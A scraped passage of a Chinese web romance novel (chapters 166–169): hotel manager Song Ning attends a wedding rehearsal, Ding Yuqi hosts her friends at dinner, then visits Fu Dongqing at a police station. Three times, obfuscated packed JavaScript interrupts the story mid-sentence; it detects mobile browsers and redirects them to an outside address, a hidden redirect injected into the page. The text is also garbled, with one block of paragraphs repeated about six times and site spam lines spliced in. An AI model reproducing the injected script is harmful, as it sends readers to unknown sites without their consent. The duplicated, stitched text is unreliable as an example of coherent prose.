但丁予期这个人,虽然看起来吊儿郎当有些不着调,但她就是莫名的觉得,只要他应承了的事情,就一定能办到的。 他的话还是给她吃了颗定心丸。 等等。 “什么叫‘丑女婿得见大姨姐’?第一,我比她们两个大几个月,就算是也是小姨子才对,第二,‘女婿’用的也不对吧?” 丁予期点头:“懂了,妹夫。” “还有,你觉得自己丑吗?” 丁予期挑眉:“你觉得呢?” 他摸了摸她的后脑的碎发:“你漂亮就行。” 第一百六十六章 她生命里的过客罢了 时间过得很快流水般匆匆来到了周末。 之前订好宴会厅的那一对新人的婚礼也将在本周日举行。 傅东擎被帽子叔叔带去喝茶已经有几天了一直都没出来傅学森和蒋秀兰这几天疲于奔走也没功夫计较宴会厅的归属问题了。 宋凝这几天偶尔会在大厅里看到他们两个几次都是行色匆匆满脸愁容。 前台小姑娘还跟宋凝说了个八卦:“这一家人也很神奇傅总的父母倒是忙里忙外的傅太太却天天预约美容师来酒店里做脸每天雷打不动地去健身房健身看起来心情很好的样子。” 宋凝早就知道林澜跟了傅东擎多半也不是因为什么所谓的真爱。 她有她的目的。 但这么直白的表现出来她不怕傅东擎出来之后舍弃她了吗? 毕竟傅东擎犯下的也不是什么太严重的罪加上傅学森和蒋秀兰的各方奔走估计很快就能出来。 林澜就不担心? 还是说傅东擎有什么把柄在她手上根本就不会舍弃她? 宋凝摇了摇头失笑了一下这些都已经跟她无关了她还想这些无关紧要的事情做什么。 傅东擎跟林澜早就已经是她生命里的过客了。 虽然丁予期说了让她休息酒店的管理暂时交给瑞贝卡但是经过几天的休息宋凝觉得自己再这么休养下去估计真的要被当猪养了。 她原本是偏瘦的身材这些日子酒店的伙食太好她的脸已经肉眼可见的圆润了一些。 就连身材都微微丰腴了起来。 只是她的肉肉都很听话该长的地方长不该长的地方一点也不长。 今天早上她去换酒店制服的时候明显感觉到胸前的布料有点紧绷 去到宴会厅的时候准备工作正在紧锣密鼓地进行着。 明天就是周日了正式婚礼的日子今天酒店方面正在配合新人进行最后一次彩排。 祝如星身为婚礼摄像师是跟新人一起到的。 不过这不影响她抽空跟宋凝搭话凑过去说:“唐婷所在的剧组要赶进度只能今晚结束工作后再来了不过你放心她答应了一定会来跟我们一起吃饭的。” “其实来不来的都不要紧不过是聚餐而已她如今正处在事业上升期当然应该以工作为重。” 祝如星却不这么想郑重道:“拜托你能不能把自己看的更重要一点?今天是你把你男人正式介绍给我们认 听说看这本书的人都是很幸运的,分享后你的运气会更棒 识的日子,我跟唐婷身为你最好的朋友,就算天上下刀子也得来!” 话音坚定的像是要起誓。 宋凝有一箩筐解释的话要说,奈何每一句都像是会越描越黑。 幸好要举办婚礼的新人想到了一个合适的点子,急忙叫祝如星过去看看效果,这才省去了接下来的麻烦。 “来了!”祝如星扛着摄像机,一路小跑着往布置中的草坪方向跑了过去。 卫斯理酒店消费不低,想在这里举办婚礼是必须有一定财力支撑才能做到的事。 而这对新人既然有在这里办户外婚礼的实力,自然不会在别的方面吝啬花销,选购的服务全都是最好的。 宋凝才来这里工作没多久就遇到这样的大客户,自然也无比珍惜这个锻炼自己的机会,她以酒店经理的身份将婚礼从头跟到底,几乎跟筹备婚礼的婚庆团队都混熟了。 玩偶和丝带组成的拱门之下是铺满了玫瑰花瓣的草坪,新人手挽手站在蓝天白云下面,脸上都洋溢着幸福的笑容。 祝如星拿着相机找了一会儿角度,眼前一亮道:“好,就是这里……靠的再近一点!茄子!” 眼前的场景伴随着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191984|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快门声被记录了下来。 新郎听到声音,笑容灿烂的对身侧的新娘说:“照片好了,我们快过去看看吧!” 他无比自然的将身侧的女孩的手挽的更紧了,两人一边说笑一边往祝如星所在的方向快步走去,仿佛亲昵的一刻都舍不得分开。 新娘对他也是同样的眷恋,就连看向他的目光都明亮无比,想来心里一定也都装着他。 酒店里的其他工作人员看到这一幕,顶多小声感叹几句,这对新人感情这样好,以后一定会过得很幸福,可宋凝却是看的微微有些怅然。 这场梦幻的婚礼尚未正式开始,还只是在拍照而已,但她已经能窥见他们未来婚姻生活中的幸福碎片了。 因为从前的她也曾经这样全身心的沉浸在幸福中,直到美梦破灭。 傅东擎也说过,会让她幸福一辈子,还说会永远当她的依靠,然而这些甜言蜜语背后隐藏着的却是一个丑陋无比的真相。 他需要的只是再也飞不出笼子,必须仰仗他的鼻息过一辈子的金丝雀罢了。 宋凝眼前的场景不断变化,一会儿是她曾经跟傅东擎一起度过的幸福片段,一会儿又是他跟林萌在一起卿卿我我,最后索性想到了他**她的场面。 他们从前也算有过好时候,没想到最后竟然落得这样一地鸡毛的下场。 宋凝唇角勾起一抹讽笑,是在笑过去的自己愚蠢浅薄,竟然会轻易被眼前的假象蒙蔽,继而险些赔进一生,甚至现在还拖累了朋友…… 那些不堪入目的照片再次出现在了眼前。 咔嚓。 闪光灯的光芒伴随着声响闪过眼角。 宋凝下意识的追随着快门声的来源看过去,然后在转身之际对上举着相机的祝如星的目光。 她不禁笑道:“你是来给新郎新娘做摄影的,拍我做什么?” 第一百六十七章 时间能够改变很多事 “他们今天彩排,明天早上才正式结婚,刚刚拍了几张合适的照片,现在又挑新的背景去了。喏,你看,婚庆团队也帮忙去了。”祝如星顺便给她介绍起了这对新人的故事。 “他们两家门当户对,是上学的时候就认识了的青梅竹马,听说感情一直特别好,所以毕业后就张罗着结婚。拱门上的玩偶是新郎知道新娘喜欢,亲自去买的,好像还都是他自己挑的。” “还有那些玫瑰花瓣,今天铺的这些等到明天早上就不能用了,所以待会儿还要换新的,之所以先铺一遍就是为了让新娘看看效果,万一不喜欢的话还可以再换……” 这一系列准备无一不彰显着新人对婚礼的重视,同时也证明了他们的感情到底有多好。 祝如星不失艳羡的说:“这婚礼也是够奢华的了,如果给我这么多钱,我是不舍得都花在婚礼上的,还不如拿去买个房子付首付。” 宋凝听到这话,想起她刚刚按快门的事问:“对了,方才的照片给我看看。” 不是她信不过祝如星,而是这家伙有偷拍她和唐婷丑照的前科在。 以前唐婷刚出道那会儿,很多试镜的照片和视频都是祝如星拍的,她趁机偷拍了很多唐婷各个角度的丑照,气的唐婷追着她打。 祝如星大大方方的把相机递到她面前,把预览页面展示给她说:“我对这张抓拍特别满意,你看,人像和背景是不是结合的特别好?” 照片里的宋凝神情空茫,一瞧就是在放空,而在她身后数步远的地方,另有一道关切的目光落在她身上,那人正是不知何时来到现场的丁予期。 丁予期一身挺括西装,领带和袖扣这类装饰品更是整理的一丝不苟,站到哪里都特别醒目。 可宋凝先前满心都在回忆往昔,当真是直到这一刻才注意到他的存在,连忙转身看过去问:“你怎么来了?” 相比于照片里的站位,他离她显然是更近了,不知是他脚步太轻,还是她想的太出神,以至于此时此刻才发现他的存在。 丁予期姿态闲适的跟祝如星打完招呼,然后继续回答宋凝的问题,“这次的生意是个大单子,新郎和新娘家里又跟我的长辈们有过一些交情,我既然知道,当然该来看看。” 他们那个圈子里的人际关系很是复杂,谁跟谁都有着千丝万缕的联系,现在他说是为了即将举办婚礼的新人来的,没人会觉得奇怪。 宋凝起初还会产生类似的疑惑,可跟丁予期认识的时间一长,也就对此**以为常了,她询问道:“既然是跟你 家里有交情的客户,那是否要再在福利上让步一下?” 酒店经理虽然有给客户打折送赠品的权限,可最终决定权还是不在她手里的。 闻言,丁予期并不在意的表示:“这种事交给你做主就好,我看他们两个满心都沉浸在迎接未来生活的喜悦中,应该不会在意这些事,照着应对客户的规矩来就好,倒是你……怎么好像看起来不太开心?” 他用的是问句,但在开口前分明已经有了答案,听的宋凝忽闪了几下眼睫,试图装傻糊弄过去:“我怎么了?不就是在这里站了一会儿么?也没有擅离职守啊。” 丁予期立刻就察觉到了她的意图,他轻声道:“不用因为一次失败而否定全部,这世界上白头到老的爱情多的是,不要因噎废食。” 他猜的极准,几乎把宋凝藏在潜意识里的念头给挖出来了,听的她下意识摸了摸鼻尖,低声解释说:“我没有诅咒他们不幸福的意思,只是有些担忧。算了,你就当我是杞人忧天吧。” 有些话是能想不能说的,尤其她现在是服务业从业者,一切都应该以顾客的感受优先。 丁予期并没有责怪她的意思,温声接话道:“别担心,我明白的,跟你说这些只是希望你不要对爱情失去信心,婚姻幸福与否的决定因素不是时间而是人。” 宋凝哑然失笑:“对的人难道就不会变么?时间能够改变很多事。” 丁予期只是想开解她,并没有非逼她认可自己的打算,他主动换了个话题:“我过来还有另一件事要说,包厢已经提前订好了,等明天你们忙完了,随时都可以过去。” 祝如星对卫斯理酒店的厨师水平早有耳闻。 她眼前一亮,就连工作的动力都变得更足了,等到第二天婚礼结束,委婉拒绝新人的挽留,跑到了宋凝这边说:“吃席还是得跟熟人才有意思。” “你该不会为了等这顿饭,连新人的酒席都没参加吧?”宋凝方才特意去婚宴上转了一圈,生怕有任何招待不周的地方,当时她并没有看到祝如星的身影。 祝如星立刻摆了摆手:“想什么呢?我难道是这么没礼貌的人不成?当然是先结束了在酒席上给大家拍照的工作,然后才告诉他们我有点非走不可的急事,径直跑过来找你的。” 宋凝知道她对自己的事上心,自然不能不领情,连忙给她介绍包厢的配置道:“这间是餐厅里最大的包间,不过不是因为座位多,而是因为给每位客人预留的空间都很有富余。” 这间包厢的功能已经不仅是给客人提供吃饭 的场所了,里面有电视、点歌台以及一系列娱乐设施,甚至如果客人有需要的话,就算想在这里拉上窗帘,开一场无人知晓的秘密会议都行。 祝如星打量着包厢里的陈设,啧啧称奇道:“这酒店的配置未免也太高了,我看就算是度假村也不见得能把地方设计的这么完善。” 宋凝见她好奇的模样跟当初的自己相差无几,笑了笑说:“这些不是重点,就算是要研究,也等吃完饭这顿饭再研究吧。” 另一边的丁予期还等着“丑姐夫见小姨子”呢。 祝如星身为婚礼摄影师,是非全程跟完这对新人不可的,于是她自从早上起床之后就只吃了几口他们给工作人员准备的早餐包里的小面包,这会儿早就是饿的前心贴后背,两眼都放光了。 “没问题。”她连连点头道,“不过我还有个坏消息要告诉你,唐婷恐怕得迟一些到了,你看看她发的讯息就知道了。” 宋凝连忙低头瞧了一眼,这才发现唐婷在二十几分钟前确实是给她发过一条说明情况的讯息——戏还有一幕没拍完,往外看又发现路上堵车了,这下具体什么时候都已经是未知数。 不过唐婷并没有说不会来,依着她的性子,等解决了这些事一定还是会来的。 宋凝心里压着非跟唐婷商量不可的事,不由的叹了口气,而丁予期则对祝如星说:“祝小姐,你也忙了一天了,先点菜就好,等唐小姐来了,另外给她点也不迟。” 的场所了,里面有电视、点歌台以及一系列娱乐设施,甚至如果客人有需要的话,就算想在这里拉上窗帘,开一场无人知晓的秘密会议都行。 祝如星打量着包厢里的陈设,啧啧称奇道:“这酒店的配置未免也太高了,我看就算是度假村也不见得能把地方设计的这么完善。” 宋凝见她好奇的模样跟当初的自己相差无几,笑了笑说:“这些不是重点,就算是要研究,也等吃完饭这顿饭再研究吧。” 另一边的丁予期还等着“丑姐夫见小姨子”呢。 祝如星身为婚礼摄影师,是非全程跟完这对新人不可的,于是她自从早上起床之后就只吃了几口他们给工作人员准备的早餐包里的小面包,这会儿早就是饿的前心贴后背,两眼都放光了。 “没问题。”她连连点头道,“不过我还有个坏消息要告诉你,唐婷恐怕得迟一些到了,你看看她发的讯息就知道了。” 宋凝连忙低头瞧了一眼,这才发现唐婷在二十几分钟前确实是给她发过一条说明情况的讯息——戏还有一幕没拍完,往外看又发现路上堵车了,这下具体什么时候都已经是未知数。 不过唐婷并没有说不会来,依着她的性子,等解决了这些事一定还是会来的。 宋凝心里压着非跟唐婷商量不可的事,不由的叹了口气,而丁予期则对祝如星说:“祝小姐,你也忙了一天了,先点菜就好,等唐小姐来了,另外给她点也不迟。” 的场所了,里面有电视、点歌台以及一系列娱乐设施,甚至如果客人有需要的话,就算想在这里拉上窗帘,开一场无人知晓的秘密会议都行。 祝如星打量着包厢里的陈设,啧啧称奇道:“这酒店的配置未免也太高了,我看就算是度假村也不见得能把地方设计的这么完善。” 宋凝见她好奇的模样跟当初的自己相差无几,笑了笑说:“这些不是重点,就算是要研究,也等吃完饭这顿饭再研究吧。” 另一边的丁予期还等着“丑姐夫见小姨子”呢。 祝如星身为婚礼摄影师,是非全程跟完这对新人不可的,于是她自从早上起床之后就只吃了几口他们给工作人员准备的早餐包里的小面包,这会儿早就是饿的前心贴后背,两眼都放光了。 “没问题。”她连连点头道,“不过我还有个坏消息要告诉你,唐婷恐怕得迟一些到了,你看看她发的讯息就知道了。” 宋凝连忙低头瞧了一眼,这才发现唐婷在二十几分钟前确实是给她发过一条说明情况的讯息——戏还有一幕没拍完,往外看又发现路上堵车了,这下具体什么时候都已经是未知数。 不过唐婷并没有说不会来,依着她的性子,等解决了这些事一定还是会来的。 宋凝心里压着非跟唐婷商量不可的事,不由的叹了口气,而丁予期则对祝如星说:“祝小姐,你也忙了一天了,先点菜就好,等唐小姐来了,另外给她点也不迟。” 的场所了,里面有电视、点歌台以及一系列娱乐设施,甚至如果客人有需要的话,就算想在这里拉上窗帘,开一场无人知晓的秘密会议都行。 祝如星打量着包厢里的陈设,啧啧称奇道:“这酒店的配置未免也太高了,我看就算是度假村也不见得能把地方设计的这么完善。” 宋凝见她好奇的模样跟当初的自己相差无几,笑了笑说:“这些不是重点,就算是要研究,也等吃完饭这顿饭再研究吧。” 另一边的丁予期还等着“丑姐夫见小姨子”呢。 祝如星身为婚礼摄影师,是非全程跟完这对新人不可的,于是她自从早上起床之后就只吃了几口他们给工作人员准备的早餐包里的小面包,这会儿早就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191985|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饿的前心贴后背,两眼都放光了。 “没问题。”她连连点头道,“不过我还有个坏消息要告诉你,唐婷恐怕得迟一些到了,你看看她发的讯息就知道了。” 宋凝连忙低头瞧了一眼,这才发现唐婷在二十几分钟前确实是给她发过一条说明情况的讯息——戏还有一幕没拍完,往外看又发现路上堵车了,这下具体什么时候都已经是未知数。 不过唐婷并没有说不会来,依着她的性子,等解决了这些事一定还是会来的。 宋凝心里压着非跟唐婷商量不可的事,不由的叹了口气,而丁予期则对祝如星说:“祝小姐,你也忙了一天了,先点菜就好,等唐小姐来了,另外给她点也不迟。” 的场所了,里面有电视、点歌台以及一系列娱乐设施,甚至如果客人有需要的话,就算想在这里拉上窗帘,开一场无人知晓的秘密会议都行。 祝如星打量着包厢里的陈设,啧啧称奇道:“这酒店的配置未免也太高了,我看就算是度假村也不见得能把地方设计的这么完善。” 宋凝见她好奇的模样跟当初的自己相差无几,笑了笑说:“这些不是重点,就算是要研究,也等吃完饭这顿饭再研究吧。” 另一边的丁予期还等着“丑姐夫见小姨子”呢。 祝如星身为婚礼摄影师,是非全程跟完这对新人不可的,于是她自从早上起床之后就只吃了几口他们给工作人员准备的早餐包里的小面包,这会儿早就是饿的前心贴后背,两眼都放光了。 “没问题。”她连连点头道,“不过我还有个坏消息要告诉你,唐婷恐怕得迟一些到了,你看看她发的讯息就知道了。” 宋凝连忙低头瞧了一眼,这才发现唐婷在二十几分钟前确实是给她发过一条说明情况的讯息——戏还有一幕没拍完,往外看又发现路上堵车了,这下具体什么时候都已经是未知数。 不过唐婷并没有说不会来,依着她的性子,等解决了这些事一定还是会来的。 宋凝心里压着非跟唐婷商量不可的事,不由的叹了口气,而丁予期则对祝如星说:“祝小姐,你也忙了一天了,先点菜就好,等唐小姐来了,另外给她点也不迟。” 的场所了,里面有电视、点歌台以及一系列娱乐设施,甚至如果客人有需要的话,就算想在这里拉上窗帘,开一场无人知晓的秘密会议都行。 祝如星打量着包厢里的陈设,啧啧称奇道:“这酒店的配置未免也太高了,我看就算是度假村也不见得能把地方设计的这么完善。” 宋凝见她好奇的模样跟当初的自己相差无几,笑了笑说:“这些不是重点,就算是要研究,也等吃完饭这顿饭再研究吧。” 另一边的丁予期还等着“丑姐夫见小姨子”呢。 祝如星身为婚礼摄影师,是非全程跟完这对新人不可的,于是她自从早上起床之后就只吃了几口他们给工作人员准备的早餐包里的小面包,这会儿早就是饿的前心贴后背,两眼都放光了。 “没问题。”她连连点头道,“不过我还有个坏消息要告诉你,唐婷恐怕得迟一些到了,你看看她发的讯息就知道了。” 宋凝连忙低头瞧了一眼,这才发现唐婷在二十几分钟前确实是给她发过一条说明情况的讯息——戏还有一幕没拍完,往外看又发现路上堵车了,这下具体什么时候都已经是未知数。 不过唐婷并没有说不会来,依着她的性子,等解决了这些事一定还是会来的。 宋凝心里压着非跟唐婷商量不可的事,不由的叹了口气,而丁予期则对祝如星说:“祝小姐,你也忙了一天了,先点菜就好,等唐小姐来了,另外给她点也不迟。” 的场所了,里面有电视、点歌台以及一系列娱乐设施,甚至如果客人有需要的话,就算想在这里拉上窗帘,开一场无人知晓的秘密会议都行。 祝如星打量着包厢里的陈设,啧啧称奇道:“这酒店的配置未免也太高了,我看就算是度假村也不见得能把地方设计的这么完善。” 宋凝见她好奇的模样跟当初的自己相差无几,笑了笑说:“这些不是重点,就算是要研究,也等吃完饭这顿饭再研究吧。” 另一边的丁予期还等着“丑姐夫见小姨子”呢。 祝如星身为婚礼摄影师,是非全程跟完这对新人不可的,于是她自从早上起床之后就只吃了几口他们给工作人员准备的早餐包里的小面包,这会儿早就是饿的前心贴后背,两眼都放光了。 “没问题。”她连连点头道,“不过我还有个坏消息要告诉你,唐婷恐怕得迟一些到了,你看看她发的讯息就知道了。” 宋凝连忙低头瞧了一眼,这才发现唐婷在二十几分钟前确实是给她发过一条说明情况的讯息——戏还有一幕没拍完,往外看又发现路上堵车了,这下具体什么时候都已经是未知数。 不过唐婷并没有说不会来,依着她的性子,等解决了这些事一定还是会来的。 宋凝心里压着非跟唐婷商量不可的事,不由的叹了口气,而丁予期则对祝如星说:“祝小姐,你也忙了一天了,先点菜就好,等唐小姐来了,另外给她点也不迟。” 第一百六十八章 谁看了不夸一句父爱如山? 祝如星早就饿的眼冒金星听到可以开饭了哪里还会把时间浪费在客气上。 等菜端上桌她狼吞虎咽的就开始吃。 宋凝微笑着给她倒茶:“星星你慢点吃。” 祝如星鼓着腮帮子摆了摆手:“慢不了一点阿凝你们酒店的菜真好吃啊而且都是我喜欢吃的。呜呜呜阿凝你真好一定是你特地吩咐酒店厨房做了这些菜对不对?呜呜呜我就知道你对我好。” 祝如星撅着油乎乎的小嘴就要来亲她。 宋凝也不是不愿意跟小姐妹腻乎一下但是看着她油光锃亮的嘴实在是有点太腻乎了。 “祝小姐你喝什么?可乐还是橙汁?” 祝如星的嘴都快挨到宋凝的脸上了突然听到丁予期问她喝什么于是来了个悬崖勒马赶紧说:“可乐就行多谢多谢。” 丁予期点了点头噙着笑意给她倒了一杯可乐:“给。” 祝如星毕竟跟丁予期还不熟礼貌地接了过来喝了一口舒服地喟叹道:“还是冰的呜呜呜阿凝你真体贴!快来让我亲亲——” 眼见她噘着油汪汪现在又粘上了可乐的小嘴又要来亲她宋凝眼见逃不过去了只能硬着头皮准备迎接好朋友油腻的爱。 可丁予期又开口了:“饭后甜点呢草莓慕斯还是榴莲千层?” 祝如星一听到“榴莲千层”四个字眼睛顿时亮了:“我想要榴莲千层好多好多榴莲的那种可以吗?” “当然”丁予期招手叫来服务生吩咐了几句。 服务生微微点头立刻下去准备了。 很快一份散发着浓烈榴莲气息的千层蛋糕就被送到了祝如星面前:“祝小姐这是三倍榴莲果肉的千层蛋糕您先尝尝如果味道不够的话我们可以再给您加。” 从服务生端着蛋糕过来的时候祝如星的眼睛就一直追随着那个千层蛋糕再也想不起来刚刚要亲宋凝的事情了。 现在软乎乎胖嘟嘟的榴莲千层正在散发着馥郁又浓烈的香气欲生欲死地诱惑着她祝如星咽了一口口水表情都有些呆住了。 丁予期:“祝小姐尝尝吧 祝如星感动得想哭:“帅哥我今天还准备给你来个夺命一百问来着全都答对了我才放心把阿凝交给你。但是现在……算了我同意这门亲事!” 宋凝啧啧两声“祝大摄影师你这立场也转变的太快了。一个榴莲蛋糕就把你收买了?” “阿凝啊你 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 不懂,”祝如星指着面前的榴莲蛋糕,贼兮兮地说道:“这不是榴莲蛋糕的问题。” “那是什么问题?” “他护着你啊,”祝如星指了指自己油汪汪的小嘴:“为了不让你的脸上沾满油,他都打断我两次了。” 宋凝有点意外,她一直以为祝如星是那种风风火火的女侠,刚刚的亲亲也是她不拘小节的表现,没想到她居然看出来了。 丁予期轻笑:“我和宋凝都没有嫌弃你的意思,主要是她今天化了妆,弄花了还得重化一遍,怪麻烦的。” 祝如星一点都不生气,笑眯眯的:“我知道我知道,那个……帅哥,我能继续吃了不?” 丁予期做了个“请”的手势。 祝如星一口啃下去,千层蛋糕上立马出现了一个带着牙印的豁口。 “呜呜呜,好新鲜的榴莲啊,就是这个味儿!” 然后又是一筷子东坡肉。 “这厨师是魔法师吗,好吃到让人想骂脏话……” 宋凝和丁予期原本都不饿,这时见祝如星吃的这么香,也多少有了些胃口,开始夹了几筷子小菜一起慢悠悠的吃着。 祝如星挑爱吃的接连吃了大半盘,才将胃里的饥火压下去说:“多亏了有你们,不然我要是在婚宴上这么吃,非得被人当成是跟新郎新娘有仇来吃回本的不可。” 宋凝莞尔道:“他们总不至于差你这点吃的。” 丁予 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199575|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期笑微微的说:“放心,随便吃,不够的话就再加菜,反正都是自家酒店,菜不够让他们现在去买。” 祝如星知道他们都是在开玩笑,神秘兮兮的回答:“帅哥你放心,我虽然不付钱,但是也不白吃,已经准备好见面礼了。” 说着,她用湿巾擦干净手,拿起自己的相机展示道:“今天给新人拍照的时候,顺便也给你们抓拍了几张,因为当时有灵感,拍的可满意了。” 预览页面里的照片是没经过任何修饰的原片直出。 但因为拍的是俊男美女,瞧着还是十分亮眼。 只见镜头里的宋凝穿着卫斯理酒店的制服,亭亭玉立的站在二楼的护栏边。 她的衣摆和没被盘在脑后的发丝被风轻轻吹拂而起,乍一看几乎要触碰到就站在她身后不远处的丁予期的指尖。 丁予期没像宋凝一样处在取景框中央最显眼的位置,却也是预览照片里不可忽视的存在,他穿一身跟酒店制服同色调的西装,正目光温柔的望向她所在的方向。 这一幕让祝如星想起了婚礼上的那对新人,他们看向彼此时的目光就是这样的。 宋凝没想到照片的效果竟然会这样好,她心神一恍,自己也不知道是为什么要这么做的转移话题道:“你把这三个家伙拍的真可爱。” 她指着角落里只露出了小半边身体的三只德牧,开始绞尽脑汁的想起夸奖的措辞来。 祝如星见她重点竟然偏到如此地步,就算是最好的朋友也不能忍了,认真指着取景框里的两个主人公说:“拜托,它们三个是趴在地上的,你们两个才是重点好不好?” 宋凝意料之中的没能成功转移话题,唯有委婉的表示:“老父亲屈居一侧,三个好大儿占据C位,这谁看了不夸一句父爱如山?” 说着,她好笑的看向了丁予期。 丁予期挑了挑眉,慢悠悠地说:“我在看你,你却在看儿子们,当了妈就是不一样,眼里只有母性的光辉。” 第一百六十九章 再次见面,身份互换 宋凝:“……” 她真是忘了。 这家伙是干律师的,这张嘴也不是吃素的。 她就不该在这个时候挑衅他。 祝如星狐疑地凑了过来:“你们说什么呢,什么父亲母亲的?难道……阿凝你有了?!“ 说这话时,她不住的冲着宋凝眨眼睛,就差直接把暗示变明示了。 宋凝:“……别胡说,看照片看照片。” 祝如星正沉浸在自己的艺术中无法自拔,哪里还注意的到她的表情变化,分析过照片的光影和取景角度后,她由衷夸奖道:“我不愧是资深婚礼跟拍摄影师,看,我拍的你们多有夫妻相。” 何止是有夫妻相,这张照片完全是可以被她放到作品集里当招牌的程度,奈何不露脸的话效果会大打折扣,而以丁予期和宋凝目前的关系来看,他们又确实不适合在社交平台上曝光。 祝如星不失惋惜的叹了口气,提前预约道:“先说好,等你们办婚礼的时候,一定要请我当摄像师,给你们友情价,保证拍的比今天还好。” 这是认定他们两个以后会补办婚礼了。 宋凝始终没能找到机会解释她跟丁予期的约定,恨不能一口气叹出九曲十八弯,可丁予期听的微微笑着,当即承诺道:“好,那我也付个订金,要不就送你一张可以终生免费入住卫斯理酒店的会员卡?” 祝如星顿时星星眼:“终生免费?!” “嗯,终生免费。” “我靠!!帅哥,真的假的!” 丁予期并非说说而已,当着她们的两个人的面就拨通了业务部的电话,沟通完毕后又对宋凝交代道:“接下来的手续就交给你这个经理了。” 缱绻话音中带着几分暧昧的信任。 宋凝对待工作的态度一直都很认真,哪怕因为不想欠丁予期人情,而对他的决定略有异议,也仍旧还是对他的吩咐照做了。 没办法,谁让他是她的顶头上司,而她还处在学习阶段中呢。 祝如星见他们两个都是认真的,脸上的笑容缓缓消失,取而代之的是掩饰不住的惊愕:“这不合适吧?卫斯理酒店最贵的高级套房要几万块一晚呢,我要不是沾了新人的光,绝对舍不得住。” “以后你可以想住就住了,随时随地,想住多久都可以。”丁予期说到这里,换上诚恳的表情,话锋一转道,“不过我也有一个不情之请,希望你能答应。” 祝如星只是活泼爱玩,脑袋还是很清醒的,她没有昏了头答应下来,而是表示:“ 你先告诉我是什么事。” 丁予期坦率道:“宋凝在S市没什么朋友,你住进来的话,也可以多陪陪她,所以我希望你以后有空的时候能常来。” 他对祝如星别无所求,就只是希望宋凝能过的高兴一点。 “我还以为什么事呢,原来就是这么点小事。放心,一切包在我身上。” 祝如星长长舒出一口气,越发认定他们两个的感情好了,等唐婷姗姗来迟,不忘把今天的所见所闻又给讲了一遍。 唐婷对宋凝和丁予期的事情算是见得比较多了,就没有祝如星那么惊讶。 十分自然地摊手:“丁总,我跟星星一样都是阿凝的朋友,我的会员卡也必须得有吧?” 丁予期直接说:“一会儿让宋凝直接带你们去开。” 唐婷嘻嘻笑,道了谢之后,就开始大吐苦水。 这个剧组的统筹是个外行,原本计划好的杀青硬是又拖了几天,对手戏男演员私生活混乱的很,她都怕哪天塌房了,连累自己辛辛苦苦拍的戏播不出来。 宋凝问道:“既然知道他私生活很乱,为什么还要选他当男主角?” 唐婷两手一摊:“人家是资本要捧的人啊,谁也没办法。” “那……你们有吻戏么?” “有!!!我跟你们说,抽烟的男人真的嘴臭!你们以后找对象一定要找不抽烟的听到没有?跟他拍吻戏那天我差点被熏晕过去……” 闺蜜三人有段日子没在一起聚会过了,这时边吃边聊,很快就投入到彼此分享的话题中,把其他所有的人和事都抛到脑后去了。 丁予期见宋凝展露了笑颜,别无所求的跟着笑了一下,然后便跟服务生交代了几句话,先行离开了酒店。 三个女孩子聊天,他这个大男人还是不要继续待在现场为好,免得宋凝会觉得不自在。 与此同时,他心里也暗暗下了决心。 戒烟。 司机早就准备就绪的等在酒店大门外了,见丁予期来的比预想中还要更早些,连忙帮他打开车门,确认道:“丁总,目的地有变更么?” “不变,还是去警局。”丁予期语气平淡的问,“让你带过来的东西都准备好了么?” 司机连忙奉上一个封着口的文件袋:“丁总,已经准备好了,这是瑞贝卡小姐交给我的。” 丁予期接过文件袋平放在了膝盖上,但是全程没有拿起来看过一眼,而是平视着前挡风玻璃外的风景出了一路的神。 司机看出他心里有事,也没敢 贸然打扰,只在到了地方后问是否要去接律师过来。 丁予期摆了摆手:“不必,你在这里等着,我应该用不了多长时间就能出来了。” 他没带任何人相陪,而是孤身一人进了警局。 走进去后,他取出提前准备好的证件,去到警方面前展示道:“我是宋凝宋小姐的代理律师,已经提前预约过了,这次来是为了见傅东擎一面。” 虽然他已经主动结束了自己的律师职业生涯,回归到了从前的本职,但曾经为了她考出来的从业执照仍旧能派上用场。 受害人的代理律师会想主动见嫌疑人的情况虽然不常见,可毕竟也是发生过的。 警方虽然有些疑惑他的动静,但还是同意了他的要求,并且在办手续的时候同他讲了傅东擎在这里的近况。 “……他没有任何要松口的意思,还是坚持声明这是个误会,他本意只是邀请宋小姐一起去出海游玩,至于后来事情是怎么变成那样的,他也不知道。” 警方显然不相信也不认可傅东擎的说辞,奈何抓不住更明确的证据,只能暂时继续寻找证据。 丁予期早料到傅东擎不会老老实实的在这里反思,毫不意外的点头道:“谢谢,我知道了。” 警方以为他手里的文件袋是和解书,并没有检查的太仔细,确认过他没有携带异物后就将他给放了进去。 傅东擎目前还处在拘留观察期,并没有被转移去拘留所。 